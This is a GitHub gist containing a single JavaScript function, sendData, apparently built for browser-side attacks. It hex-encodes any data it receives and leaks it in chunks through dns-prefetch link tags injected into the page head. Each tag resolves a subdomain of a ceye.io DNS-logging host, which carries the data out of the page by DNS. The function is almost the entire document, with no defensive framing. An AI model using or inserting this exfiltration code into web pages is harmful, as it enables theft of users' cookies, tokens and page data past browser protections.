Created
May 21, 2019 08:26
-
-
Save mozhu1024/30bb56b5166cd0c7430ca32c93c9564a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sendData(data, tag = "t") { | |
if (data.length <= 0) { | |
return; | |
} | |
// str2hex | |
var val = ""; | |
var html = ""; | |
for (var i = 0; i < data.length; i++) { | |
val += data.charCodeAt(i).toString(16); | |
} | |
// send bby dns-prefetch | |
for (var j = 0; j < 100; j++) { | |
var tt = val.substr(j * 48, 48); | |
if (tt.length == 0) break; | |
html += `<link rel="dns-prefetch" href="//${tag}_${j}_${tt}.sglpih.ceye.io">`; | |
} | |
document.head.innerHTML += html; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment